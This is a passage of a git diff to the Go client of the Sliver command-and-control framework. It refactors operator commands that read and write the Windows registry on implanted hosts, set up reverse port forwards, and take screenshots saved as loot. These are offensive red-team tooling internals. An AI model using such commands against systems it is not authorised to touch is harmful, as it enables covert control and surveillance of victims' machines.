+ f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + f.StringP("type", "T", "string", "type of the value to write (string, dword, qword, binary). If binary, you must provide a path to a file with --path") + f.StringP("path", "p", "", "path to the binary file to write") + }) + carapace.Gen(registryWriteCmd).PositionalCompletion( + carapace.ActionValues().Usage("registry path"), + carapace.ActionValues().Usage("value to write"), + ) + + registryCreateKeyCmd := &cobra.Command{ + Use: consts.RegistryCreateKeyStr, + Short: "Create a registry key", + Long: help.GetHelpFor([]string{consts.RegistryCreateKeyStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegCreateKeyCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryCreateKeyCmd) + flags.Bind("", false, registryCreateKeyCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + }) + carapace.Gen(registryCreateKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryDeleteKeyCmd := &cobra.Command{ + Use: consts.RegistryDeleteKeyStr, + Short: "Remove a registry key", + Long: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegDeleteKeyCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryDeleteKeyCmd) + flags.Bind("", false, registryDeleteKeyCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to remove value from") + }) + carapace.Gen(registryDeleteKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryListSubCmd := &cobra.Command{ + Use: consts.RegistryListSubStr, + Short: "List the sub keys under a registry key", + Long: help.GetHelpFor([]string{consts.RegistryListSubStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegListSubKeysCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryListSubCmd) + flags.Bind("", false, registryListSubCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + }) + carapace.Gen(registryListSubCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryListValuesCmd := &cobra.Command{ + Use: consts.RegistryListValuesStr, + Short: "List the values for a registry key", + Long: help.GetHelpFor([]string{consts.RegistryListValuesStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegListValuesCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryListValuesCmd) + flags.Bind("", false, registryListValuesCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + }) + carapace.Gen(registryListValuesCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + return []*cobra.Command{registryCmd} +} diff --git a/client/command/registry/reg-create.go b/client/command/registry/reg-create.go index 275b2eed09..e7b54ff559 100644 --- a/client/command/registry/reg-create.go +++ b/client/command/registry/reg-create.go @@ -20,24 +20,28 @@ package registry import ( "context" + "errors" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RegCreateKeyCmd - Create a new Windows registry key -func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegCreateKeyCmd - Create a new Windows registry key. +func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return @@ -78,12 +82,12 @@ func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if createKey.Response != nil && createKey.Response.Async { - con.AddBeaconCallback(createKey.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(createKey.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, createKey) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -91,14 +95,13 @@ func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintCreateKey(createKey, finalPath, key, con) }) - con.PrintAsyncResponse(createKey.Response) } else { PrintCreateKey(createKey, finalPath, key, con) } } -// PrintCreateKey - Print the results of the create key command -func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) { +// PrintCreateKey - Print the results of the create key command. +func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverClient) { if createKey.Response != nil && createKey.Response.Err != "" { con.PrintErrorf("%s", createKey.Response.Err) return @@ -106,12 +109,13 @@ func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key s con.PrintInfof("Key created at %s\\%s", regPath, key) } -func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getOS(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.OS + return session.OS, nil } if beacon != nil { - return beacon.OS + return beacon.OS, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } diff --git a/client/command/registry/reg-delete.go b/client/command/registry/reg-delete.go index 7f846433db..e48c306e58 100644 --- a/client/command/registry/reg-delete.go +++ b/client/command/registry/reg-delete.go @@ -22,22 +22,25 @@ import ( "context" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RegDeleteKeyCmd - Remove a Windows registry key -func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegDeleteKeyCmd - Remove a Windows registry key. +func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return @@ -78,12 +81,12 @@ func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if deleteKey.Response != nil && deleteKey.Response.Async { - con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(deleteKey.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, deleteKey) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -91,14 +94,13 @@ func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintDeleteKey(deleteKey, finalPath, key, con) }) - con.PrintAsyncResponse(deleteKey.Response) } else { PrintDeleteKey(deleteKey, finalPath, key, con) } } -// PrintDeleteKey - Print the results of the delete key command -func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) { +// PrintDeleteKey - Print the results of the delete key command. +func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverClient) { if deleteKey.Response != nil && deleteKey.Response.Err != "" { con.PrintErrorf("%s", deleteKey.Response.Err) return diff --git a/client/command/registry/reg-list.go b/client/command/registry/reg-list.go index a25c00f29f..0c20dabe25 100644 --- a/client/command/registry/reg-list.go +++ b/client/command/registry/reg-list.go @@ -21,22 +21,25 @@ package registry import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RegListSubKeysCmd - List sub registry keys -func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegListSubKeysCmd - List sub registry keys. +func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return @@ -53,12 +56,12 @@ func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if regList.Response != nil && regList.Response.Async { - con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -66,14 +69,13 @@ func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } PrintListSubKeys(regList, hive, regPath, con) }) - con.PrintAsyncResponse(regList.Response) } else { PrintListSubKeys(regList, hive, regPath, con) } } -// PrintListSubKeys - Print the list sub keys command result -func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath string, con *console.SliverConsoleClient) { +// PrintListSubKeys - Print the list sub keys command result. +func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath string, con *console.SliverClient) { if regList.Response != nil && regList.Response.Err != "" { con.PrintErrorf("%s\n", regList.Response.Err) return @@ -86,8 +88,8 @@ func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath } } -// RegListValuesCmd - List registry values -func RegListValuesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegListValuesCmd - List registry values. +func RegListValuesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -104,12 +106,12 @@ func RegListValuesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if regList.Response != nil && regList.Response.Async { - con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -117,14 +119,13 @@ func RegListValuesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintListValues(regList, hive, regPath, con) }) - con.PrintAsyncResponse(regList.Response) } else { PrintListValues(regList, hive, regPath, con) } } -// PrintListValues - Print the registry list values -func PrintListValues(regList *sliverpb.RegistryValuesList, hive string, regPath string, con *console.SliverConsoleClient) { +// PrintListValues - Print the registry list values. +func PrintListValues(regList *sliverpb.RegistryValuesList, hive string, regPath string, con *console.SliverClient) { if regList.Response != nil && regList.Response.Err != "" { con.PrintErrorf("%s\n", regList.Response.Err) return diff --git a/client/command/registry/reg-read.go b/client/command/registry/reg-read.go index 62df3b7117..d06f81f15f 100644 --- a/client/command/registry/reg-read.go +++ b/client/command/registry/reg-read.go @@ -23,9 +23,8 @@ import ( "fmt" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -74,8 +73,8 @@ func getType(t string) (uint32, error) { return res, nil } -// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version" -func RegReadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegReadCmd - Read a windows registry key: registry read --hostname aa.bc.local --hive HKCU "software\google\chrome\blbeacon\version". +func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( finalPath string key string @@ -84,7 +83,11 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return @@ -126,12 +129,12 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if regRead.Response != nil && regRead.Response.Async { - con.AddBeaconCallback(regRead.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regRead.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regRead) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -139,14 +142,13 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } PrintRegRead(regRead, con) }) - con.PrintAsyncResponse(regRead.Response) } else { PrintRegRead(regRead, con) } } -// PrintRegRead - Print the results of the registry read command -func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverConsoleClient) { +// PrintRegRead - Print the results of the registry read command. +func PrintRegRead(regRead *sliverpb.RegistryRead, con *console.SliverClient) { if regRead.Response != nil && regRead.Response.Err != "" { con.PrintErrorf("%s\n", regRead.Response.Err) return diff --git a/client/command/registry/reg-write.go b/client/command/registry/reg-write.go index f47ac811fa..12833cd978 100644 --- a/client/command/registry/reg-write.go +++ b/client/command/registry/reg-write.go @@ -25,22 +25,25 @@ import ( "strconv" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32 -func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32. +func RegWriteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return @@ -140,12 +143,12 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st ByteValue: binaryValue, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if regWrite.Response != nil && regWrite.Response.Async { - con.AddBeaconCallback(regWrite.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regWrite.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regWrite) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -153,14 +156,13 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } PrintRegWrite(regWrite, con) }) - con.PrintAsyncResponse(regWrite.Response) } else { PrintRegWrite(regWrite, con) } } -// PrintRegWrite - Print the registry write operation -func PrintRegWrite(regWrite *sliverpb.RegistryWrite, con *console.SliverConsoleClient) { +// PrintRegWrite - Print the registry write operation. +func PrintRegWrite(regWrite *sliverpb.RegistryWrite, con *console.SliverClient) { if regWrite.Response != nil && regWrite.Response.Err != "" { con.PrintErrorf("%s", regWrite.Response.Err) return diff --git a/client/command/rportfwd/commands.go b/client/command/rportfwd/commands.go new file mode 100644 index 0000000000..fbe3ae52ac --- /dev/null +++ b/client/command/rportfwd/commands.go @@ -0,0 +1,63 @@ +package rportfwd + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + rportfwdCmd := &cobra.Command{ + Use: consts.RportfwdStr, + Short: "reverse port forwardings", + Long: help.GetHelpFor([]string{consts.RportfwdStr}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + RportFwdListenersCmd(cmd, con, args) + }, + } + flags.Bind("", true, rportfwdCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + rportfwdAddCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add and start reverse port forwarding", + Long: help.GetHelpFor([]string{consts.RportfwdStr}), + Run: func(cmd *cobra.Command, args []string) { + StartRportFwdListenerCmd(cmd, con, args) + }, + } + rportfwdCmd.AddCommand(rportfwdAddCmd) + flags.Bind("", false, rportfwdAddCmd, func(f *pflag.FlagSet) { + f.StringP("remote", "r", "", "remote address : connection is forwarded to") + f.StringP("bind", "b", "", "bind address : for implants to listen on") + }) + completers.NewFlagCompsFor(rportfwdAddCmd, func(comp *carapace.ActionMap) { + (*comp)["remote"] = completers.ClientInterfacesCompleter() + }) + + rportfwdRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Stop and remove reverse port forwarding", + Long: help.GetHelpFor([]string{consts.RportfwdStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + StopRportFwdListenerCmd(cmd, con, args) + }, + } + rmComps := completers.NewCompsFor(rportfwdRmCmd) + rmComps.PositionalAnyCompletion(PortfwdIDCompleter(con).Usage("ID of portforwarder(s) to remove")) + + rportfwdCmd.AddCommand(rportfwdRmCmd) + + return []*cobra.Command{rportfwdCmd} +} diff --git a/client/command/rportfwd/portfwd-add.go b/client/command/rportfwd/portfwd-add.go index 55d8b00119..7b92dacb30 100644 --- a/client/command/rportfwd/portfwd-add.go +++ b/client/command/rportfwd/portfwd-add.go @@ -31,8 +31,8 @@ import ( var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant -func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. +func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -60,13 +60,15 @@ func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClie ForwardAddress: forwardAddress, }) if err != nil { - con.PrintWarnf("%s\n", err) + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) return } printStartedRportFwdListener(rportfwdListener, con) + + con.WaitSignal() } -func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) { +func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverClient) { if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" { con.PrintErrorf("%s", rportfwdListener.Response.Err) return diff --git a/client/command/rportfwd/portfwd-rm.go b/client/command/rportfwd/portfwd-rm.go index 0d10f9b706..917e46907f 100644 --- a/client/command/rportfwd/portfwd-rm.go +++ b/client/command/rportfwd/portfwd-rm.go @@ -20,6 +20,7 @@ package rportfwd import ( "context" + "strconv" "github.com/spf13/cobra" @@ -27,26 +28,38 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant -func StopRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. +func StopRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return } - listenerID, _ := cmd.Flags().GetUint32("id") - rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{ - Request: con.ActiveTarget.Request(cmd), - ID: listenerID, - }) - if err != nil { - con.PrintWarnf("%s\n", err) - return + for _, arg := range args { + listenerID, err := strconv.ParseUint(arg, 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse portfwd id: %s\n", err) + } + + if listenerID < 1 { + con.PrintErrorf("Must specify a valid portfwd id\n") + return + } + + rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{ + Request: con.ActiveTarget.Request(cmd), + ID: uint32(listenerID), + }) + if err != nil { + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) + return + } + + printStoppedRportFwdListener(rportfwdListener, con) } - printStoppedRportFwdListener(rportfwdListener, con) } -func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) { +func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverClient) { if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" { con.PrintErrorf("%s", rportfwdListener.Response.Err) return diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 0afcdc7605..b3a308fdcf 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -33,8 +33,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant -func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant. +func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -44,13 +44,13 @@ func RportFwdListenersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintWarnf("%s\n", err) + con.PrintWarnf("%s\n", con.UnwrapServerErr(err)) return } PrintRportFwdListeners(rportfwdListeners, cmd.Flags(), con) } -func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags *pflag.FlagSet, con *console.SliverConsoleClient) { +func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags *pflag.FlagSet, con *console.SliverClient) { if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" { con.PrintErrorf("%s\n", rportfwdListeners.Response.Err) return @@ -63,6 +63,7 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Remote Address", @@ -78,9 +79,13 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags con.Printf("%s\n", tw.Render()) } -// PortfwdIDCompleter completes IDs of remote portforwarders -func PortfwdIDCompleter(con *console.SliverConsoleClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { +// PortfwdIDCompleter completes IDs of remote portforwarders. +func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { + callback := func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{ @@ -101,7 +106,9 @@ func PortfwdIDCompleter(con *console.SliverConsoleClient) carapace.Action { return carapace.ActionMessage("no remote port forwarders") } - return carapace.ActionValuesDescribed(results...).Tag("remote port forwarders") + comps := carapace.ActionValuesDescribed(results...).Tag("remote port forwarders") + + return comps.Invoke(c).Filter(c.Args...).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/screenshot/commands.go b/client/command/screenshot/commands.go new file mode 100644 index 0000000000..d97b4e8725 --- /dev/null +++ b/client/command/screenshot/commands.go @@ -0,0 +1,38 @@ +package screenshot + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + screenshotCmd := &cobra.Command{ + Use: consts.ScreenshotStr, + Short: "Take a screenshot", + Long: help.GetHelpFor([]string{consts.ScreenshotStr}), + Run: func(cmd *cobra.Command, args []string) { + ScreenshotCmd(cmd, con, args) + }, + GroupID: consts.InfoHelpGroup, + } + flags.Bind("", false, screenshotCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save to file (will overwrite if exists)") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(screenshotCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles() + }) + + return []*cobra.Command{screenshotCmd} +} diff --git a/client/command/screenshot/screenshot.go b/client/command/screenshot/screenshot.go index 9b0dec32a9..2151b582a4 100644 --- a/client/command/screenshot/screenshot.go +++ b/client/command/screenshot/screenshot.go @@ -20,14 +20,14 @@ package screenshot import ( "context" + "errors" "fmt" "os" "path/filepath" "time" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" @@ -36,14 +36,18 @@ import ( "github.com/bishopfox/sliver/util" ) -// ScreenshotCmd - Take a screenshot of the remote system -func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ScreenshotCmd - Take a screenshot of the remote system. +func ScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" && targetOS != "linux" { con.PrintWarnf("Target platform may not support screenshots!\n") return @@ -53,7 +57,7 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -61,9 +65,13 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] lootName, _ := cmd.Flags().GetString("name") saveTo, _ := cmd.Flags().GetString("save") - hostname := getHostname(session, beacon) + hostname, err := getHostname(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if screenshot.Response != nil && screenshot.Response.Async { - con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(screenshot.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, screenshot) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -81,7 +89,6 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] PrintScreenshot(screenshot, hostname, cmd, con) } }) - con.PrintAsyncResponse(screenshot.Response) } else { if saveLoot { if len(screenshot.Data) > 0 { @@ -97,8 +104,8 @@ func ScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } } -// PrintScreenshot - Handle the screenshot command response -func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobra.Command, con *console.SliverConsoleClient) { +// PrintScreenshot - Handle the screenshot command response. +func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobra.Command, con *console.SliverClient) { timestamp := time.Now().Format("20060102150405") saveTo, _ := cmd.Flags().GetString("save") @@ -129,7 +136,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobr con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n))) } -func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) { +func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverClient) { timeNow := time.Now().UTC() screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405")) @@ -141,22 +148,23 @@ func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName s loot.SendLootMessage(lootMessage, con) } -func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getOS(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.OS + return session.OS, nil } if beacon != nil { - return beacon.OS + return beacon.OS, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } -func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session 